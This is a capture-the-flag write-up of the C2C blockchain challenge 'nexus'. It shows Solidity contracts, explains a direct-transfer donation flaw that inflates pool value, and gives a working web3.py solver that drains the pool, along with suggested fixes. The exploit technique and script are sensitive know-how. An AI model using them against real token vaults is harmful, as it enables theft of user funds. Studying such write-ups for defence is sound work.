Writeup Aria
C2C Qualification EnglishBlockchain

nexus

1771212608953

description

Author: chovid99

The essence of nexus. Start challenge from: http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-nexus

Attachments

Setup.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./Essence.sol";
import "./CrystalNexus.sol";

contract Setup {
    Essence public essence;
    CrystalNexus public nexus;

    address public player;

    uint256 public constant PLAYER_ESSENCE = 10000 ether;
    uint256 public constant FIRST_ATTUNEMENT = 6000 ether;
    uint256 public constant SECOND_ATTUNEMENT = 9000 ether;
    uint256 public constant ASCENSION_THRESHOLD = 20250 ether;

    bool public ritualsComplete;

    constructor(address _player) {
        player = _player;

        essence = new Essence();
        nexus = new CrystalNexus(address(essence));

        essence.mint(player, PLAYER_ESSENCE);
    }

    function conductRituals() external {
        require(!ritualsComplete, "Rituals already performed");
        ritualsComplete = true;

        essence.mint(address(this), FIRST_ATTUNEMENT + SECOND_ATTUNEMENT);
        essence.approve(address(nexus), type(uint256).max);

        nexus.attune(FIRST_ATTUNEMENT);
        nexus.attune(SECOND_ATTUNEMENT);
    }

    function isSolved() external view returns (bool) {
        return essence.balanceOf(player) > ASCENSION_THRESHOLD;
    }
}

Essence.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Essence {
    string public name = "Ethereal Essence";
    string public symbol = "ESS";
    uint8 public decimals = 18;
    address nexus;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    error Unauthorized();

    constructor() {
        nexus = msg.sender;
    }

    modifier auth() {
        if (msg.sender != nexus) revert Unauthorized();
        _;
    }

    function mint(address to, uint256 amount) auth external {
        totalSupply += amount;
        balanceOf[to] += amount;
        emit Transfer(address(0), to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }
}

CrystalNexus.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./Essence.sol";

interface ICrystalReceiver {
    function onCrystalReceived(address from, uint256 amount, uint256 crystals) external returns (bytes4);
}

contract CrystalNexus {
    Essence public immutable essence;

    uint256 public totalCrystals;
    mapping(address => uint256) public crystalBalance;
    mapping(address => bool) public attuned;

    uint256 public constant BASE_FRICTION = 200;
    uint256 public constant DYNAMIC_FRICTION = 2000;
    uint256 public constant PRECISION = 10000;

    uint256 public catalystReserve;
    bool public resonanceActive;
    address public guardian;

    event Attunement(address indexed entity, uint256 essence, uint256 crystals);
    event Dissolution(address indexed entity, uint256 crystals, uint256 essence);
    event CatalystAdded(address indexed donor, uint256 amount);
    event ResonancePulse(address indexed trigger, uint256 amplitude);

    error NotAttuned();
    error AlreadyAttuned();
    error InsufficientCrystals();
    error ResonanceUnstable();
    error GuardianOnly();

    constructor(address _essence) {
        essence = Essence(_essence);
        guardian = msg.sender;
    }

    function amplitude() public view returns (uint256) {
        return essence.balanceOf(address(this)) - catalystReserve;
    }

    function crystalWorth(uint256 crystalAmount) public view returns (uint256) {
        if (totalCrystals == 0) return crystalAmount;
        return (crystalAmount * amplitude()) / totalCrystals;
    }

    function essenceTocrystal(uint256 essenceAmount) public view returns (uint256) {
        uint256 amp = amplitude();
        if (amp == 0 || totalCrystals == 0) return essenceAmount;
        return (essenceAmount * totalCrystals) / amp;
    }

    function calculateFriction(address entity) public view returns (uint256) {
        if (totalCrystals == 0) return BASE_FRICTION;
        uint256 ownership = (crystalBalance[entity] * PRECISION) / totalCrystals;
        uint256 dynamicPart = (ownership * ownership * DYNAMIC_FRICTION) / (PRECISION * PRECISION);
        return BASE_FRICTION + dynamicPart;
    }

    function attune(uint256 essenceAmount) external returns (uint256 crystals) {
        crystals = essenceTocrystal(essenceAmount);

        essence.transferFrom(msg.sender, address(this), essenceAmount);

        totalCrystals += crystals;
        crystalBalance[msg.sender] += crystals;
        attuned[msg.sender] = true;

        if (_isContract(msg.sender)) {
            try ICrystalReceiver(msg.sender).onCrystalReceived(
                msg.sender,
                essenceAmount,
                crystals
            ) returns (bytes4 retval) {
                require(retval == ICrystalReceiver.onCrystalReceived.selector, "Invalid receiver");
            } catch {
                // Contract doesn't implement callback, that's fine
            }
        }

        emit Attunement(msg.sender, essenceAmount, crystals);
    }

    function dissolve(uint256 crystalAmount, address recipient) external returns (uint256 essenceOut) {
        if (crystalBalance[msg.sender] < crystalAmount) revert InsufficientCrystals();

        essenceOut = crystalWorth(crystalAmount);

        uint256 friction = calculateFriction(msg.sender);
        uint256 frictionAmount = (essenceOut * friction) / PRECISION;
        essenceOut -= frictionAmount;

        crystalBalance[msg.sender] -= crystalAmount;
        totalCrystals -= crystalAmount;

        essence.transfer(recipient, essenceOut);

        emit Dissolution(msg.sender, crystalAmount, essenceOut);
    }

    function infuse(uint256 amount) external {
        essence.transferFrom(msg.sender, address(this), amount);
        catalystReserve += amount;
        emit CatalystAdded(msg.sender, amount);
    }

    function activateResonance() external {
        if (!attuned[msg.sender]) revert NotAttuned();

        uint256 amp = amplitude();
        if (amp < 1000 ether) revert ResonanceUnstable();

        resonanceActive = true;
        emit ResonancePulse(msg.sender, amp);
    }

    function claimCatalyst() external {
        if (msg.sender != guardian) revert GuardianOnly();
        if (resonanceActive) revert ResonanceUnstable();

        uint256 amount = catalystReserve;
        catalystReserve = 0;
        essence.transfer(guardian, amount);
    }

    function harmonize(address target) external {
        if (!resonanceActive) revert ResonanceUnstable();
        if (!attuned[target]) revert NotAttuned();

        uint256 targetCrystals = crystalBalance[target];
        uint256 callerCrystals = crystalBalance[msg.sender];

        if (callerCrystals <= targetCrystals) revert InsufficientCrystals();

        uint256 transferAmount = targetCrystals / 10;
        crystalBalance[target] -= transferAmount;
        crystalBalance[msg.sender] += transferAmount;
    }

    function _isContract(address addr) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(addr) }
        return size > 0;
    }
}

Overview

Brief summary

  • The Nexus challenge is an economic / pool-manipulation problem: the player's goal is to increase their Essence balance from 10000 to > 20250 ESS (the ASCENSION_THRESHOLD) so that Setup.isSolved() is satisfied. ✅
  • The core idea: inflate the pool amplitude without increasing totalCrystals, then redeem a small amount of crystals to withdraw a large amount of ESS.

Main contracts

  • Setup.sol — deploys the token (Essence) and CrystalNexus, mints ESS to the player, and runs rituals (large attune by the owner).
  • Essence.sol — ERC-like token (simple transfer, mint by Setup via auth).
  • CrystalNexus.sol — pool logic: attune(), dissolve(), amplitude(), crystalWorth / essenceTocrystal calculations, and friction.

Important mechanics (high-level)

  • attune(essenceAmount) exchanges ESS → crystals based on essenceTocrystal() (proportional to totalCrystals and amplitude).
  • dissolve(crystalAmount) returns crystalWorth() minus friction (BASE_FRICTION + dynamic part based on ownership).
  • amplitude() is calculated from essence.balanceOf(address(this)) - catalystReserve — meaning it directly reads the contract's token balance.
  • Because the contract reads the external token balance, transferring ESS directly to the contract (without attune) increases amplitude without increasing totalCrystals.

Vulnerability — root cause (brief)

  • The design does not protect against direct token transfers to the contract; an attacker can increase amplitude() without increasing totalCrystals.
  • Result: a holder of a small number of crystals can redeem a small share to receive a disproportionately large portion of the ESS reserve — economic drain.

Exploit (brief)

  1. Call attune(1) to create 1 crystal (small share).
  2. Transfer almost all player ESS directly to nexus (increasing amplitude() without increasing totalCrystals).
  3. Call Setup.conductRituals() (owner performs a large attune → pool conditions become even more favorable to the attacker).
  4. Call dissolve() on the small crystal → withdraw a large amount of ESS (after friction).
  5. Repeat attune/dissolve if needed until the player's balance exceeds ASCENSION_THRESHOLD.

Why this solves the challenge

  • This sequence allows the player to drain the ESS reserve in CrystalNexus so the player balance exceeds 20250 ESS → isSolved() becomes true. 🎯

Recommended fix (brief)

  • Do not use essence.balanceOf(address(this)) directly as the source of truth; store an internal reserve variable and update it only via attune/dissolve/infuse, or add a sync() function to detect external transfers.
  • Validate that only contract flows can modify amplitude() or adjust totalCrystals if external transfers occur.
  • Add unit tests for scenarios involving direct transfer() to the contract and regression tests for essenceTocrystal / crystalWorth calculations.

Smart Contract Analysis

Purpose & logic summary

  • CrystalNexus is an economic pool that exchanges Essencecrystals and calculates amplitude() from the contract's ESS balance.
  • The exploit goal is to increase amplitude() (pool size) without increasing totalCrystals, allowing a holder of a small number of crystals to redeem (dissolve) disproportionate value.

Important variables & functions

  • amplitude() — currently = essence.balanceOf(address(this)) - catalystReserve (relies on external token balance).
  • totalCrystals / crystalBalance — total crystal supply and ownership.
  • attune() — increases totalCrystals and calls essence.transferFrom(...).
  • dissolve() — calculates crystalWorth() based on amplitude(), subtracts friction, then calls essence.transfer(recipient, net).
  • infuse() — increases catalystReserve (separate from amplitude).

Root cause

  • The pool depends on essence.balanceOf(address(this)) to calculate per-crystal value. Since Essence allows direct transfer() to the contract, an attacker can send ESS without modifying totalCrystals.
  • This creates an accounting mismatch: the token balance increases but totalCrystals remains the same → crystalWorth() and essenceTocrystal() become extremely favorable for small crystal holders.
  • Result: an attacker with 1 crystal can redeem most of the ESS reserve (after friction) — economic drain.

Exploit flow (state transitions, brief)

  1. Player calls attune(1) → receives 1 crystal; totalCrystals == 1 (or very small).
  2. Player calls transfer(nexus, almost_all_player_ESS)essence.balanceOf(nexus) increases significantly while totalCrystals remains unchanged.
  3. Owner calls conductRituals()nexus.attune(...) increases the owner reserve (further increasing amplitude if needed).
  4. Player calls dissolve(1, player)crystalWorth(1) is calculated from the large amplitude() → player receives far more ESS than the initial input.
  5. Repeat if needed until essence.balanceOf(player) > ASCENSION_THRESHOLD.

Why the exploit works (intuitive explanation)

  • The pool values crystals relative to the contract balance, not an internally tracked locked reserve. Direct token transfers manipulate the price without changing crystal supply.
  • There is no synchronization or protection against direct transfers, allowing attackers to inject amplitude for free.

Impact & severity

  • Impact: attacker can drain most of the ESS reserve from the pool and increase their balance beyond the solve threshold. Severity: **High (economic / logic fl

Solution Steps

Step 0 — Access RPC Node

Step 1 — Preparation: obtain 1 crystal (minimum attune)

  • call essence.approve(nexus_addr, amount) if needed (solver.py already performs approve).
  • call nexus.attune(1) to create 1 crystal — this gives you a small share in the pool.
  • verify: nexus.crystalBalance(player) >= 1 and nexus.totalCrystals >= 1.

Step 2 — Inflate amplitude (direct ESS transfer to contract)

  • transfer almost all of your ESS directly to nexus using essence.transfer(nexus_addr, balance - 1).
  • effect: essence.balanceOf(nexus) increases drastically while totalCrystals remains low → amplitude() increases.
  • verify: nexus.amplitude() increases significantly.

Step 3 — Execute owner ritual (reseed pool)

  • call setup.conductRituals() (owner) — this will attune a large amount from the contract into the pool.
  • purpose: increase the reserves in the pool so that crystalWorth(1) becomes very large.
  • verify: nexus.totalCrystals and nexus.amplitude() change as expected.

Step 4 — Drain pool (dissolve small crystal)

  • call nexus.dissolve(my_crystals, player) to redeem the crystal you hold (example: dissolve(1, player)).
  • result: you receive crystalWorth(1) minus friction — because the amplitude is large, the amount received far exceeds the initial capital.
  • note: Phase 1 usually returns most of the reserves (the script leaves ~5.5k ESS based on friction calculations in the code).

Step 5 — Reseed & drain remaining amplitude (repeat once more)

  • when totalCrystals becomes 0, create 1 crystal again (attune(1)) and repeat dissolve(1) to drain the remaining amplitude.
  • verify after each iteration: essence.balanceOf(player) increases drastically.

Step 6 — Verify solve & retrieve flag

  • call setup.isSolved() → if true, open the web launcher to view the flag.
  • final verification: essence.balanceOf(player) > ASCENSION_THRESHOLD (20250 ETH in ESS units).

Exploit Script (solver.py)

import os
from web3 import Web3

RPC_URL = "YOUR_RPC_URL"
PRIVKEY = "YOUR_PRIVATE_KEY"
SETUP_CONTRACT_ADDR = "SETUP_ADDRESS"
WALLET_ADDR = "YOUR_WALLET_ADDRESS"

w3 = Web3(Web3.HTTPProvider(RPC_URL))
account = w3.eth.account.from_key(PRIVKEY)

# ABI Minimal
setup_abi = [
    {"inputs":[],"name":"essence","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
    {"inputs":[],"name":"nexus","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
    {"inputs":[],"name":"conductRituals","outputs":[],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[],"name":"ritualsComplete","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},
    {"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}
]
nexus_abi = [
    {"inputs":[{"internalType":"uint256","name":"essenceAmount","type":"uint256"}],"name":"attune","outputs":[{"internalType":"uint256","name":"crystals","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[{"internalType":"uint256","name":"crystalAmount","type":"uint256"},{"internalType":"address","name":"recipient","type":"address"}],"name":"dissolve","outputs":[{"internalType":"uint256","name":"essenceOut","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"crystalBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
    {"inputs":[],"name":"totalCrystals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
    {"inputs":[],"name":"amplitude","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}
]
essence_abi = [
    {"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}
]

essence_abi = [
    {
        "inputs":[{"internalType":"address","name":"spender","type":"address"},
                  {"internalType":"uint256","name":"amount","type":"uint256"}],
        "name":"approve",
        "outputs":[{"internalType":"bool","name":"","type":"bool"}],
        "stateMutability":"nonpayable",
        "type":"function"
    },
    {
        "inputs":[{"internalType":"address","name":"to","type":"address"},
                  {"internalType":"uint256","name":"amount","type":"uint256"}],
        "name":"transfer",
        "outputs":[{"internalType":"bool","name":"","type":"bool"}],
        "stateMutability":"nonpayable",
        "type":"function"
    },
    {
        "inputs":[{"internalType":"address","name":"account","type":"address"}],
        "name":"balanceOf",
        "outputs":[{"internalType":"uint256","name":"","type":"uint256"}],
        "stateMutability":"view",
        "type":"function"
    }
]

setup_contract = w3.eth.contract(address=SETUP_CONTRACT_ADDR, abi=setup_abi)
nexus_addr = setup_contract.functions.nexus().call()
essence_addr = setup_contract.functions.essence().call()

nexus_contract = w3.eth.contract(address=nexus_addr, abi=nexus_abi)
essence_contract = w3.eth.contract(address=essence_addr, abi=essence_abi)

def send_tx(tx_func):
    tx = tx_func.build_transaction({
        'from': account.address,
        'nonce': w3.eth.get_transaction_count(account.address),
        'gasPrice': w3.eth.gas_price
    })
    signed = w3.eth.account.sign_transaction(tx, PRIVKEY)
    res = w3.eth.send_raw_transaction(signed.raw_transaction)
    return w3.eth.wait_for_transaction_receipt(res)

print(f"Setup ritualsComplete: {setup_contract.functions.ritualsComplete().call()}")
print(f"Player ESS balance: {essence_contract.functions.balanceOf(account.address).call() / 1e18} ETH")
print(f"Nexus ESS balance: {essence_contract.functions.balanceOf(nexus_addr).call() / 1e18} ETH")
print(f"Nexus Amplitude: {nexus_contract.functions.amplitude().call() / 1e18} ETH")
print(f"Player Crystal balance: {nexus_contract.functions.crystalBalance(account.address).call()}")
print(f"Total Crystals: {nexus_contract.functions.totalCrystals().call()}")

# ===================== Before State =====================
print(f"{'='*30}\n[+] Before state: \n{'='*30}")
print(f"[*] Setup ritualsComplete: {setup_contract.functions.ritualsComplete().call()}")
print(f"[*] Player ESS balance: {essence_contract.functions.balanceOf(account.address).call() / 1e18} ETH")
print(f"[*] Nexus ESS balance: {essence_contract.functions.balanceOf(nexus_addr).call() / 1e18} ETH")
print(f"[*] Nexus Amplitude: {nexus_contract.functions.amplitude().call() / 1e18} ETH")
print(f"[*] Player Crystal balance: {nexus_contract.functions.crystalBalance(account.address).call()}")
print(f"[*] Total Crystals: {nexus_contract.functions.totalCrystals().call()}")

# ===================== Solver =====================
print(f"{'='*30}\n[+] Solver: \n{'='*30}")
print("[*] Approving Essence...")
send_tx(essence_contract.functions.approve(nexus_addr, 2**256-1))

print("[*] Attuning 1 wei...")
send_tx(nexus_contract.functions.attune(1))

print("[*] Direct transfer all ESS except 1 wei...")
balance = essence_contract.functions.balanceOf(account.address).call()
send_tx(essence_contract.functions.transfer(nexus_addr, balance - 1))

print("[*] Trigger ritual...")
send_tx(setup_contract.functions.conductRituals())

# Phase 1: drain (will leave ~5500 ESS due to 22% friction)
my_crystals = nexus_contract.functions.crystalBalance(account.address).call()
print(f"[*] Phase 1 dissolve {my_crystals} crystals...")
send_tx(nexus_contract.functions.dissolve(my_crystals, account.address))

# Phase 2: reseed when totalCrystals == 0, then drain leftover amplitude
print("[*] Phase 2: attune 1 wei to recreate 1 crystal...")
send_tx(nexus_contract.functions.attune(1))

my_crystals = nexus_contract.functions.crystalBalance(account.address).call()
print(f"[*] Phase 2 dissolve {my_crystals} crystals...")
send_tx(nexus_contract.functions.dissolve(my_crystals, account.address))

# ===================== After State =====================
print(f"{'='*30}\n[+] After state: \n{'='*30}")
print(f"[*] Setup ritualsComplete: {setup_contract.functions.ritualsComplete().call()}")
print(f"[*] Player ESS balance: {essence_contract.functions.balanceOf(account.address).call() / 1e18} ETH")
print(f"[*] Nexus ESS balance: {essence_contract.functions.balanceOf(nexus_addr).call() / 1e18} ETH")
print(f"[*] Nexus Amplitude: {nexus_contract.functions.amplitude().call() / 1e18} ETH")
print(f"[*] Player Crystal balance: {nexus_contract.functions.crystalBalance(account.address).call()}")
print(f"[*] Total Crystals: {nexus_contract.functions.totalCrystals().call()}")

if setup_contract.functions.isSolved().call():
    print("[+] Solved! Ambil flag di web.")
else:
    print("[-] Gagal.")

python3 solver.py 1771213683521

This script performs the following steps:

  1. approve() ESS to nexus (approve unlimited allowance from the player to Nexus).
  2. attune(1) — create 1 crystal (small share in the pool).
  3. transfer(nexus, balance - 1) — transfer almost all ESS directly to the contract to increase amplitude() (accounting mismatch).
  4. conductRituals() (owner) — the owner performs a large attune into the pool.
  5. dissolve(my_crystals, player) — redeem the player's crystals to drain the pool (Phase 1).
  6. attune(1) then dissolve(...) again — reseed and drain the remaining amplitude (Phase 2).
  7. Check setup.isSolved() and the final status (essence.balanceOf(player) > threshold).

After that, we can retrieve the flag from the blockchain launcher. 1771213736329

flag

C2C{the_essence_of_nexus_is_donation_hahahaha}

On this page